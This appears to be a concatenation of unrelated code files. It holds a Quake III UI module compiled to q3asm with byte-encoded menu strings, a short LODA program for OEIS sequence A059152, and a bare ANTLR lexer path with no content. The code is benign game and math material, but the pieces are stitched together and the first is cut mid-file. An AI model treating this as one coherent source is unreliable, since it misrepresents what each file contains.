UI_ShowTierVideo import UI_TierCompleted import UI_SetBestScore import UI_GetBestScore import UI_GetNumBots import UI_GetBotInfoByName import UI_GetBotInfoByNumber import UI_GetNumSPTiers import UI_GetNumSPArenas import UI_GetNumArenas import UI_GetSpecialArenaInfo import UI_GetArenaInfoByMap import UI_GetArenaInfoByNumber import UI_NetworkOptionsMenu import UI_NetworkOptionsMenu_Cache import UI_SoundOptionsMenu import UI_SoundOptionsMenu_Cache import UI_DisplayOptionsMenu import UI_DisplayOptionsMenu_Cache import UI_SaveConfigMenu import UI_SaveConfigMenu_Cache import UI_LoadConfigMenu import UI_LoadConfig_Cache import UI_TeamOrdersMenu_Cache import UI_TeamOrdersMenu_f import UI_TeamOrdersMenu import UI_RemoveBotsMenu import UI_RemoveBots_Cache import UI_AddBotsMenu import UI_AddBots_Cache import trap_SetPbClStatus import trap_VerifyCDKey import trap_SetCDKey import trap_GetCDKey import trap_MemoryRemaining import trap_LAN_GetPingInfo import trap_LAN_GetPing import trap_LAN_ClearPing import trap_LAN_ServerStatus import trap_LAN_GetPingQueueCount import trap_LAN_GetServerInfo import trap_LAN_GetServerAddressString import trap_LAN_GetServerCount import trap_GetConfigString import trap_GetGlconfig import trap_GetClientState import trap_GetClipboardData import trap_Key_SetCatcher import trap_Key_GetCatcher import trap_Key_ClearStates import trap_Key_SetOverstrikeMode import trap_Key_GetOverstrikeMode import trap_Key_IsDown import trap_Key_SetBinding import trap_Key_GetBindingBuf import trap_Key_KeynumToStringBuf import trap_S_RegisterSound import trap_S_StartLocalSound import trap_CM_LerpTag import trap_UpdateScreen import trap_R_DrawStretchPic import trap_R_SetColor import trap_R_RenderScene import trap_R_AddLightToScene import trap_R_AddPolyToScene import trap_R_AddRefEntityToScene import trap_R_ClearScene import trap_R_RegisterShaderNoMip import trap_R_RegisterSkin import trap_R_RegisterModel import trap_FS_Seek import trap_FS_GetFileList import trap_FS_FCloseFile import trap_FS_Write import trap_FS_Read import trap_FS_FOpenFile import trap_Cmd_ExecuteText import trap_Argv import trap_Argc import trap_Cvar_InfoStringBuffer import trap_Cvar_Create import trap_Cvar_Reset import trap_Cvar_SetValue import trap_Cvar_VariableStringBuffer import trap_Cvar_VariableValue import trap_Cvar_Set import trap_Cvar_Update import trap_Cvar_Register import trap_Milliseconds import trap_Error import trap_Print import UI_SPSkillMenu_Cache import UI_SPSkillMenu import UI_SPPostgameMenu_f import UI_SPPostgameMenu_Cache import UI_SPArena_Start import UI_SPLevelMenu_ReInit import UI_SPLevelMenu_f import UI_SPLevelMenu import UI_SPLevelMenu_Cache import uis import m_entersound import UI_StartDemoLoop import UI_Cvar_VariableString import UI_Argv import UI_ForceMenuOff import UI_PopMenu import UI_PushMenu import UI_SetActiveMenu import UI_IsFullscreen import UI_DrawTextBox import UI_AdjustFrom640 import UI_CursorInRect import UI_DrawChar import UI_DrawString import UI_ProportionalStringWidth import UI_DrawProportionalString_AutoWrapped import UI_DrawProportionalString import UI_ProportionalSizeScale import UI_DrawBannerString import UI_LerpColor import UI_SetColor import UI_UpdateScreen import UI_DrawRect import UI_FillRect import UI_DrawHandlePic import UI_DrawNamedPic import UI_ClampCvar import UI_ConsoleCommand import UI_Refresh import UI_MouseEvent import UI_KeyEvent import UI_Shutdown import UI_Init import UI_RegisterClientModelname import UI_PlayerInfo_SetInfo import UI_PlayerInfo_SetModel import UI_DrawPlayer import DriverInfo_Cache import GraphicsOptions_Cache import UI_GraphicsOptionsMenu import ServerInfo_Cache import UI_ServerInfoMenu import ArenaServers_Cache import UI_ArenaServersMenu import SpecifyServer_Cache import UI_SpecifyServerMenu import SpecifyLeague_Cache import UI_SpecifyLeagueMenu import Preferences_Cache import UI_PreferencesMenu import PlayerSettings_Cache import UI_PlayerSettingsMenu import PlayerModel_Cache import UI_PlayerModelMenu import UI_CDKeyMenu_f import UI_CDKeyMenu_Cache import UI_CDKeyMenu import UI_ModsMenu_Cache import UI_ModsMenu import UI_CinematicsMenu_Cache import UI_CinematicsMenu_f import UI_CinematicsMenu import Demos_Cache import UI_DemosMenu import Controls_Cache import UI_ControlsMenu import UI_DrawConnectScreen import TeamMain_Cache import UI_TeamMainMenu import UI_SetupMenu import UI_SetupMenu_Cache import UI_Message import UI_ConfirmMenu_Style import UI_ConfirmMenu import ConfirmMenu_Cache import UI_InGameMenu import InGame_Cache import UI_CreditMenu import UI_UpdateCvars import UI_RegisterCvars import UI_MainMenu import MainMenu_Cache import MenuField_Key import MenuField_Draw import MenuField_Init import MField_Draw import MField_CharEvent import MField_KeyDownEvent import MField_Clear import ui_medalSounds import ui_medalPicNames import ui_medalNames import text_color_highlight import text_color_normal import text_color_disabled import listbar_color import list_color import name_color import color_dim import color_red import color_orange import color_blue import color_yellow import color_white import color_black import menu_dim_color import menu_black_color import menu_red_color import menu_highlight_color import menu_dark_color import menu_grayed_color import menu_text_color import weaponChangeSound import menu_null_sound import menu_buzz_sound import menu_out_sound import menu_move_sound import menu_in_sound import ScrollList_Key import ScrollList_Draw import Bitmap_Draw import Bitmap_Init import Menu_DefaultKey import Menu_SetCursorToItem import Menu_SetCursor import Menu_ActivateItem import Menu_ItemAtCursor import Menu_Draw import Menu_AdjustCursor import Menu_AddItem import Menu_Focus import Menu_Cache import ui_ioq3 import ui_cdkeychecked import ui_cdkey import ui_server16 import ui_server15 import ui_server14 import ui_server13 import ui_server12 import ui_server11 import ui_server10 import ui_server9 import ui_server8 import ui_server7 import ui_server6 import ui_server5 import ui_server4 import ui_server3 import ui_server2 import ui_server1 import ui_marks import ui_drawCrosshairNames import ui_drawCrosshair import ui_brassTime import ui_browserShowEmpty import ui_browserShowFull import ui_browserSortKey import ui_browserGameType import ui_browserMaster import ui_spSelection import ui_spSkill import ui_spVideos import ui_spAwards import ui_spScores5 import ui_spScores4 import ui_spScores3 import ui_spScores2 import ui_spScores1 import ui_botsFile import ui_arenasFile import ui_ctf_friendly import ui_ctf_timelimit import ui_ctf_capturelimit import ui_team_friendly import ui_team_timelimit import ui_team_fraglimit import ui_tourney_timelimit import ui_tourney_fraglimit import ui_ffa_timelimit import ui_ffa_fraglimit import BG_PlayerTouchesItem import BG_PlayerStateToEntityStateExtraPolate import BG_PlayerStateToEntityState import BG_TouchJumpPad import BG_AddPredictableEventToPlayerstate import BG_EvaluateTrajectoryDelta import BG_EvaluateTrajectory import BG_CanItemBeGrabbed import BG_FindItemForHoldable import BG_FindItemForPowerup import BG_FindItemForWeapon import BG_FindItem import bg_numItems import bg_itemlist import Pmove import PM_UpdateViewAngles import Com_Printf import Com_Error import Info_NextPair import Info_Validate import Info_SetValueForKey_Big import Info_SetValueForKey import Info_RemoveKey_Big import Info_RemoveKey import Info_ValueForKey import Com_TruncateLongString import va import Q_CountChar import Q_CleanStr import Q_PrintStrlen import Q_strcat import Q_strncpyz import Q_stristr import Q_strupr import Q_strlwr import Q_stricmpn import Q_strncmp import Q_stricmp import Q_isintegral import Q_isanumber import Q_isalpha import Q_isupper import Q_islower import Q_isprint import Com_RandomBytes import Com_SkipCharset import Com_SkipTokens import Com_sprintf import Com_HexStrToInt import Parse3DMatrix import Parse2DMatrix import Parse1DMatrix import SkipRestOfLine import SkipBracedSection import COM_MatchToken import COM_ParseWarning import COM_ParseError import COM_Compress import COM_ParseExt import COM_Parse import COM_GetCurrentParseLine import COM_BeginParseSession import COM_DefaultExtension import COM_CompareExtension import COM_StripExtension import COM_GetExtension import COM_SkipPath import Com_Clamp import PerpendicularVector import AngleVectors import MatrixMultiply import MakeNormalVectors import RotateAroundDirection import RotatePointAroundVector import ProjectPointOnPlane import PlaneFromPoints import AngleDelta import AngleNormalize180 import AngleNormalize360 import AnglesSubtract import AngleSubtract import LerpAngle import AngleMod import BoundsIntersectPoint import BoundsIntersectSphere import BoundsIntersect import BoxOnPlaneSide import SetPlaneSignbits import AxisCopy import AxisClear import AnglesToAxis import vectoangles import Q_crandom import Q_random import Q_rand import Q_acos import Q_log2 import VectorRotate import Vector4Scale import VectorNormalize2 import VectorNormalize import CrossProduct import VectorInverse import VectorNormalizeFast import DistanceSquared import Distance import VectorLengthSquared import VectorLength import VectorCompare import AddPointToBounds import ClearBounds import RadiusFromBounds import NormalizeColor import ColorBytes4 import ColorBytes3 import _VectorMA import _VectorScale import _VectorCopy import _VectorAdd import _VectorSubtract import _DotProduct import ByteToDir import DirToByte import ClampShort import ClampChar import Q_rsqrt import Q_fabs import Q_isnan import axisDefault import vec3_origin import g_color_table import colorDkGrey import colorMdGrey import colorLtGrey import colorWhite import colorCyan import colorMagenta import colorYellow import colorBlue import colorGreen import colorRed import colorBlack import bytedirs import Hunk_AllocDebug import FloatSwap import LongSwap import ShortSwap import CopyLongSwap import CopyShortSwap import qk_acos import qk_fabs import qk_abs import qk_tan import qk_atan2 import qk_cos import qk_sin import qk_sqrt import qk_floor import qk_ceil import qk_memcpy import qk_memset import qk_memmove import qk_sscanf import qk_vsnprintf import qk_strtol import qk_atoi import qk_strtod import qk_atof import qk_toupper import qk_tolower import qk_strncpy import qk_strstr import qk_strrchr import qk_strchr import qk_strcmp import qk_strcpy import qk_strcat import qk_strlen import qk_rand import qk_srand import qk_qsort lit align 1 LABELV $1444 byte 1 83 byte 1 69 byte 1 76 byte 1 69 byte 1 67 byte 1 84 byte 1 32 byte 1 66 byte 1 79 byte 1 84 byte 1 0 align 1 LABELV $1433 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 111 byte 1 112 byte 1 112 byte 1 111 byte 1 110 byte 1 101 byte 1 110 byte 1 116 byte 1 115 byte 1 95 byte 1 115 byte 1 101 byte 1 108 byte 1 101 byte 1 99 byte 1 116 byte 1 101 byte 1 100 byte 1 0 align 1 LABELV $1432 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 111 byte 1 112 byte 1 112 byte 1 111 byte 1 110 byte 1 101 byte 1 110 byte 1 116 byte 1 115 byte 1 95 byte 1 115 byte 1 101 byte 1 108 byte 1 101 byte 1 99 byte 1 116 byte 1 0 align 1 LABELV $1431 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 97 byte 1 99 byte 1 99 byte 1 101 byte 1 112 byte 1 116 byte 1 95 byte 1 49 byte 1 0 align 1 LABELV $1430 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 97 byte 1 99 byte 1 99 byte 1 101 byte 1 112 byte 1 116 byte 1 95 byte 1 48 byte 1 0 align 1 LABELV $1304 byte 1 109 byte 1 111 byte 1 100 byte 1 101 byte 1 108 byte 1 0 align 1 LABELV $1293 byte 1 109 byte 1 111 byte 1 100 byte 1 101 byte 1 108 byte 1 115 byte 1 47 byte 1 112 byte 1 108 byte 1 97 byte 1 121 byte 1 101 byte 1 114 byte 1 115 byte 1 47 byte 1 37 byte 1 115 byte 1 47 byte 1 105 byte 1 99 byte 1 111 byte 1 110 byte 1 95 byte 1 100 byte 1 101 byte 1 102 byte 1 97 byte 1 117 byte 1 108 byte 1 116 byte 1 46 byte 1 116 byte 1 103 byte 1 97 byte 1 0 align 1 LABELV $1290 byte 1 109 byte 1 111 byte 1 100 byte 1 101 byte 1 108 byte 1 115 byte 1 47 byte 1 112 byte 1 108 byte 1 97 byte 1 121 byte 1 101 byte 1 114 byte 1 115 byte 1 47 byte 1 37 byte 1 115 byte 1 47 byte 1 105 byte 1 99 byte 1 111 byte 1 110 byte 1 95 byte 1 37 byte 1 115 byte 1 46 byte 1 116 byte 1 103 byte 1 97 byte 1 0 align 1 LABELV $1289 byte 1 100 byte 1 101 byte 1 102 byte 1 97 byte 1 117 byte 1 108 byte 1 116 byte 1 0 align 1 LABELV $1223 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 102 byte 1 105 byte 1 103 byte 1 104 byte 1 116 byte 1 95 byte 1 49 byte 1 0 align 1 LABELV $1206 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 102 byte 1 105 byte 1 103 byte 1 104 byte 1 116 byte 1 95 byte 1 48 byte 1 0 align 1 LABELV $1079 byte 1 66 byte 1 111 byte 1 116 byte 1 32 byte 1 83 byte 1 107 byte 1 105 byte 1 108 byte 1 108 byte 1 58 byte 1 0 align 1 LABELV $1063 byte 1 80 byte 1 117 byte 1 110 byte 1 107 byte 1 98 byte 1 117 byte 1 115 byte 1 116 byte 1 101 byte 1 114 byte 1 58 byte 1 0 align 1 LABELV $1047 byte 1 72 byte 1 111 byte 1 115 byte 1 116 byte 1 110 byte 1 97 byte 1 109 byte 1 101 byte 1 58 byte 1 0 align 1 LABELV $1038 byte 1 68 byte 1 101 byte 1 100 byte 1 105 byte 1 99 byte 1 97 byte 1 116 byte 1 101 byte 1 100 byte 1 58 byte 1 0 align 1 LABELV $1021 byte 1 80 byte 1 117 byte 1 114 byte 1 101 byte 1 32 byte 1 83 byte 1 101 byte 1 114 byte 1 118 byte 1 101 byte 1 114 byte 1 58 byte 1 0 align 1 LABELV $1011 byte 1 70 byte 1 114 byte 1 105 byte 1 101 byte 1 110 byte 1 100 byte 1 108 byte 1 121 byte 1 32 byte 1 70 byte 1 105 byte 1 114 byte 1 101 byte 1 58 byte 1 0 align 1 LABELV $984 byte 1 84 byte 1 105 byte 1 109 byte 1 101 byte 1 32 byte 1 76 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 58 byte 1 0 align 1 LABELV $966 byte 1 67 byte 1 97 byte 1 112 byte 1 116 byte 1 117 byte 1 114 byte 1 101 byte 1 32 byte 1 76 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 58 byte 1 0 align 1 LABELV $948 byte 1 70 byte 1 114 byte 1 97 byte 1 103 byte 1 32 byte 1 76 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 58 byte 1 0 align 1 LABELV $898 byte 1 103 byte 1 95 byte 1 103 byte 1 97 byte 1 109 byte 1 101 byte 1 116 byte 1 121 byte 1 112 byte 1 101 byte 1 0 align 1 LABELV $837 byte 1 37 byte 1 105 byte 1 0 align 1 LABELV $811 byte 1 45 byte 1 45 byte 1 45 byte 1 45 byte 1 45 byte 1 45 byte 1 45 byte 1 45 byte 1 0 align 1 LABELV $785 byte 1 98 byte 1 111 byte 1 116 byte 1 115 byte 1 0 align 1 LABELV $765 byte 1 115 byte 1 97 byte 1 114 byte 1 103 byte 1 101 byte 1 0 align 1 LABELV $753 byte 1 118 byte 1 105 byte 1 115 byte 1 111 byte 1 114 byte 1 0 align 1 LABELV $747 byte 1 109 byte 1 97 byte 1 106 byte 1 111 byte 1 114 byte 1 0 align 1 LABELV $744 byte 1 103 byte 1 114 byte 1 117 byte 1 110 byte 1 116 byte 1 0 align 1 LABELV $727 byte 1 48 byte 1 32 byte 1 61 byte 1 32 byte 1 78 byte 1 79 byte 1 32 byte 1 76 byte 1 73 byte 1 77 byte 1 73 byte 1 84 byte 1 0 align 1 LABELV $667 byte 1 72 byte 1 117 byte 1 109 byte 1 97 byte 1 110 byte 1 0 align 1 LABELV $635 byte 1 110 byte 1 97 byte 1 109 byte 1 101 byte 1 0 align 1 LABELV $604 byte 1 119 byte 1 97 byte 1 105 byte 1 116 byte 1 32 byte 1 53 byte 1 59 byte 1 32 byte 1 116 byte 1 101 byte 1 97 byte 1 109 byte 1 32 byte 1 37 byte 1 115 byte 1 10 byte 1 0 align 1 LABELV $599 byte 1 97 byte 1 100 byte 1 100 byte 1 98 byte 1 111 byte 1 116 byte 1 32 byte 1 37 byte 1 115 byte 1 32 byte 1 37 byte 1 105 byte 1 10 byte 1 0 align 1 LABELV $595 byte 1 97 byte 1 100 byte 1 100 byte 1 98 byte 1 111 byte 1 116 byte 1 32 byte 1 37 byte 1 115 byte 1 32 byte 1 37 byte 1 105 byte 1 32 byte 1 37 byte 1 115 byte 1 10 byte 1 0 align 1 LABELV $577 byte 1 119 byte 1 97 byte 1 105 byte 1 116 byte 1 32 byte 1 51 byte 1 10 byte 1 0 align 1 LABELV $576 byte 1 119 byte 1 97 byte 1 105 byte 1 116 byte 1 32 byte 1 59 byte 1 32 byte 1 119 byte 1 97 byte 1 105 byte 1 116 byte 1 32 byte 1 59 byte 1 32 byte 1 109 byte 1 97 byte 1 112 byte 1 32 byte 1 37 byte 1 115 byte 1 10 byte 1 0 align 1 LABELV $571 byte 1 115 byte 1 118 byte 1 95 byte 1 112 byte 1 117 byte 1 110 byte 1 107 byte 1 98 byte 1 117 byte 1 115 byte 1 116 byte 1 101 byte 1 114 byte 1 0 align 1 LABELV $567 byte 1 115 byte 1 118 byte 1 95 byte 1 104 byte 1 111 byte 1 115 byte 1 116 byte 1 110 byte 1 97 byte 1 109 byte 1 101 byte 1 0 align 1 LABELV $566 byte 1 115 byte 1 118 byte 1 95 byte 1 112 byte 1 117 byte 1 114 byte 1 101 byte 1 0 align 1 LABELV $565 byte 1 103 byte 1 95 byte 1 102 byte 1 114 byte 1 105 byte 1 101 byte 1 110 byte 1 100 byte 1 108 byte 1 121 byte 1 102 byte 1 105 byte 1 114 byte 1 101 byte 1 0 align 1 LABELV $564 byte 1 99 byte 1 97 byte 1 112 byte 1 116 byte 1 117 byte 1 114 byte 1 101 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $563 byte 1 102 byte 1 114 byte 1 97 byte 1 103 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $562 byte 1 116 byte 1 105 byte 1 109 byte 1 101 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $561 byte 1 100 byte 1 101 byte 1 100 byte 1 105 byte 1 99 byte 1 97 byte 1 116 byte 1 101 byte 1 100 byte 1 0 align 1 LABELV $560 byte 1 115 byte 1 118 byte 1 95 byte 1 109 byte 1 97 byte 1 120 byte 1 99 byte 1 108 byte 1 105 byte 1 101 byte 1 110 byte 1 116 byte 1 115 byte 1 0 align 1 LABELV $558 byte 1 117 byte 1 105 byte 1 95 byte 1 99 byte 1 116 byte 1 102 byte 1 95 byte 1 102 byte 1 114 byte 1 105 byte 1 101 byte 1 110 byte 1 100 byte 1 108 byte 1 121 byte 1 0 align 1 LABELV $557 byte 1 117 byte 1 105 byte 1 95 byte 1 99 byte 1 116 byte 1 102 byte 1 95 byte 1 116 byte 1 105 byte 1 109 byte 1 101 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $556 byte 1 117 byte 1 105 byte 1 95 byte 1 99 byte 1 116 byte 1 102 byte 1 95 byte 1 99 byte 1 97 byte 1 112 byte 1 116 byte 1 117 byte 1 114 byte 1 101 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $554 byte 1 117 byte 1 105 byte 1 95 byte 1 116 byte 1 101 byte 1 97 byte 1 109 byte 1 95 byte 1 102 byte 1 114 byte 1 105 byte 1 101 byte 1 110 byte 1 100 byte 1 108 byte 1 121 byte 1 0 align 1 LABELV $553 byte 1 117 byte 1 105 byte 1 95 byte 1 116 byte 1 101 byte 1 97 byte 1 109 byte 1 95 byte 1 116 byte 1 105 byte 1 109 byte 1 101 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $552 byte 1 117 byte 1 105 byte 1 95 byte 1 116 byte 1 101 byte 1 97 byte 1 109 byte 1 95 byte 1 102 byte 1 114 byte 1 97 byte 1 103 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $550 byte 1 117 byte 1 105 byte 1 95 byte 1 116 byte 1 111 byte 1 117 byte 1 114 byte 1 110 byte 1 101 byte 1 121 byte 1 95 byte 1 116 byte 1 105 byte 1 109 byte 1 101 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $549 byte 1 117 byte 1 105 byte 1 95 byte 1 116 byte 1 111 byte 1 117 byte 1 114 byte 1 110 byte 1 101 byte 1 121 byte 1 95 byte 1 102 byte 1 114 byte 1 97 byte 1 103 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $547 byte 1 117 byte 1 105 byte 1 95 byte 1 102 byte 1 102 byte 1 97 byte 1 95 byte 1 116 byte 1 105 byte 1 109 byte 1 101 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $546 byte 1 117 byte 1 105 byte 1 95 byte 1 102 byte 1 102 byte 1 97 byte 1 95 byte 1 102 byte 1 114 byte 1 97 byte 1 103 byte 1 108 byte 1 105 byte 1 109 byte 1 105 byte 1 116 byte 1 0 align 1 LABELV $490 byte 1 78 byte 1 105 byte 1 103 byte 1 104 byte 1 116 byte 1 109 byte 1 97 byte 1 114 byte 1 101 byte 1 33 byte 1 0 align 1 LABELV $489 byte 1 72 byte 1 97 byte 1 114 byte 1 100 byte 1 99 byte 1 111 byte 1 114 byte 1 101 byte 1 0 align 1 LABELV $488 byte 1 72 byte 1 117 byte 1 114 byte 1 116 byte 1 32 byte 1 77 byte 1 101 byte 1 32 byte 1 80 byte 1 108 byte 1 101 byte 1 110 byte 1 116 byte 1 121 byte 1 0 align 1 LABELV $487 byte 1 66 byte 1 114 byte 1 105 byte 1 110 byte 1 103 byte 1 32 byte 1 73 byte 1 116 byte 1 32 byte 1 79 byte 1 110 byte 1 0 align 1 LABELV $486 byte 1 73 byte 1 32 byte 1 67 byte 1 97 byte 1 110 byte 1 32 byte 1 87 byte 1 105 byte 1 110 byte 1 0 align 1 LABELV $485 byte 1 82 byte 1 101 byte 1 100 byte 1 0 align 1 LABELV $484 byte 1 66 byte 1 108 byte 1 117 byte 1 101 byte 1 0 align 1 LABELV $483 byte 1 45 byte 1 45 byte 1 45 byte 1 45 byte 1 0 align 1 LABELV $482 byte 1 66 byte 1 111 byte 1 116 byte 1 0 align 1 LABELV $481 byte 1 79 byte 1 112 byte 1 101 byte 1 110 byte 1 0 align 1 LABELV $480 byte 1 73 byte 1 110 byte 1 116 byte 1 101 byte 1 114 byte 1 110 byte 1 101 byte 1 116 byte 1 0 align 1 LABELV $479 byte 1 76 byte 1 65 byte 1 78 byte 1 0 align 1 LABELV $478 byte 1 78 byte 1 111 byte 1 0 align 1 LABELV $468 byte 1 99 byte 1 111 byte 1 109 byte 1 95 byte 1 98 byte 1 117 byte 1 105 byte 1 108 byte 1 100 byte 1 115 byte 1 99 byte 1 114 byte 1 105 byte 1 112 byte 1 116 byte 1 0 align 1 LABELV $438 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 110 byte 1 101 byte 1 120 byte 1 116 byte 1 95 byte 1 49 byte 1 0 align 1 LABELV $421 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 110 byte 1 101 byte 1 120 byte 1 116 byte 1 95 byte 1 48 byte 1 0 align 1 LABELV $417 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 98 byte 1 97 byte 1 99 byte 1 107 byte 1 95 byte 1 49 byte 1 0 align 1 LABELV $400 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 98 byte 1 97 byte 1 99 byte 1 107 byte 1 95 byte 1 48 byte 1 0 align 1 LABELV $383 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 103 byte 1 115 byte 1 95 byte 1 97 byte 1 114 byte 1 114 byte 1 111 byte 1 119 byte 1 115 byte 1 95 byte 1 114 byte 1 0 align 1 LABELV $365 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 103 byte 1 115 byte 1 95 byte 1 97 byte 1 114 byte 1 114 byte 1 111 byte 1 119 byte 1 115 byte 1 95 byte 1 108 byte 1 0 align 1 LABELV $337 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 103 byte 1 115 byte 1 95 byte 1 97 byte 1 114 byte 1 114 byte 1 111 byte 1 119 byte 1 115 byte 1 95 byte 1 48 byte 1 0 align 1 LABELV $333 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 109 byte 1 97 byte 1 112 byte 1 115 byte 1 95 byte 1 115 byte 1 101 byte 1 108 byte 1 101 byte 1 99 byte 1 116 byte 1 0 align 1 LABELV $305 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 117 byte 1 110 byte 1 107 byte 1 110 byte 1 111 byte 1 119 byte 1 110 byte 1 109 byte 1 97 byte 1 112 byte 1 0 align 1 LABELV $302 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 109 byte 1 97 byte 1 112 byte 1 115 byte 1 95 byte 1 115 byte 1 101 byte 1 108 byte 1 101 byte 1 99 byte 1 116 byte 1 101 byte 1 100 byte 1 0 align 1 LABELV $270 byte 1 71 byte 1 97 byte 1 109 byte 1 101 byte 1 32 byte 1 84 byte 1 121 byte 1 112 byte 1 101 byte 1 58 byte 1 0 align 1 LABELV $256 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 102 byte 1 114 byte 1 97 byte 1 109 byte 1 101 byte 1 49 byte 1 95 byte 1 114 byte 1 0 align 1 LABELV $242 byte 1 109 byte 1 101 byte 1 110 byte 1 117 byte 1 47 byte 1 97 byte 1 114 byte 1 116 byte 1 47 byte 1 102 byte 1 114 byte 1 97 byte 1 109 byte 1 101 byte 1 50 byte 1 95 byte 1 108 byte 1 0 align 1 LABELV $234 byte 1 71 byte 1 65 byte 1 77 byte 1 69 byte 1 32 byte 1 83 byte 1 69 byte 1 82 byte 1 86 byte 1 69 byte 1 82 byte 1 0 align 1 LABELV $201 byte 1 103 byte 1 95 byte 1 103 byte 1 97 byte 1 109 byte 1 101 byte 1 84 byte 1 121 byte 1 112 byte 1 101 byte 1 0 align 1 LABELV $173 byte 1 116 byte 1 121 byte 1 112 byte 1 101 byte 1 0 align 1 LABELV $138 byte 1 78 byte 1 79 byte 1 32 byte 1 77 byte 1 65 byte 1 80 byte 1 83 byte 1 32 byte 1 70 byte 1 79 byte 1 85 byte 1 78 byte 1 68 byte 1 0 align 1 LABELV $106 byte 1 108 byte 1 101 byte 1 118 byte 1 101 byte 1 108 byte 1 115 byte 1 104 byte 1 111 byte 1 116 byte 1 115 byte 1 47 byte 1 37 byte 1 115 byte 1 0 align 1 LABELV $105 byte 1 109 byte 1 97 byte 1 112 byte 1 0 align 1 LABELV $93 byte 1 99 byte 1 116 byte 1 102 byte 1 0 align 1 LABELV $90 byte 1 116 byte 1 101 byte 1 97 byte 1 109 byte 1 0 align 1 LABELV $87 byte 1 115 byte 1 105 byte 1 110 byte 1 103 byte 1 108 byte 1 101 byte 1 0 align 1 LABELV $84 byte 1 116 byte 1 111 byte 1 117 byte 1 114 byte 1 110 byte 1 101 byte 1 121 byte 1 0 align 1 LABELV $81 byte 1 102 byte 1 102 byte 1 97 byte 1 0 align 1 LABELV $72 byte 1 67 byte 1 97 byte 1 112 byte 1 116 byte 1 117 byte 1 114 byte 1 101 byte 1 32 byte 1 116 byte 1 104 byte 1 101 byte 1 32 byte 1 70 byte 1 108 byte 1 97 byte 1 103 byte 1 0 align 1 LABELV $71 byte 1 84 byte 1 111 byte 1 117 byte 1 114 byte 1 110 byte 1 97 byte 1 109 byte 1 101 byte 1 110 byte 1 116 byte 1 0 align 1 LABELV $70 byte 1 84 byte 1 101 byte 1 97 byte 1 109 byte 1 32 byte 1 68 byte 1 101 byte 1 97 byte 1 116 byte 1 104 byte 1 109 byte 1 97 byte 1 116 byte 1 99 byte 1 104 byte 1 0 align 1 LABELV $69 byte 1 70 byte 1 114 byte 1 101 byte 1 101 byte 1 32 byte 1 70 byte 1 111 byte 1 114 byte 1 32 byte 1 65 byte 1 108 byte 1 108 byte 1 0
programs/oeis/059/A059152.asm
karttu/loda
1
103901
<reponame>karttu/loda ; A059152: A hierarchical sequence (W'2{2}c - see A059126). ; 4,16,4,64,4,16,4,256,4,16,4,64,4,16,4,1024,4,16,4,64,4,16,4,256,4,16,4,64,4,16,4,4096,4,16,4,64,4,16,4,256,4,16,4,64,4,16,4,1024,4,16,4,64,4,16,4,256,4,16,4,64,4,16,4,16384,4,16,4,64,4,16,4,256,4,16,4,64,4,16 add $0,1 pow $0,2 gcd $0,4096 mov $1,$0 mul $1,4
2020_notebooks/Assignments/assignment_1/mylexer/MyLexer.g4
blended-learning/compilers
0
6715
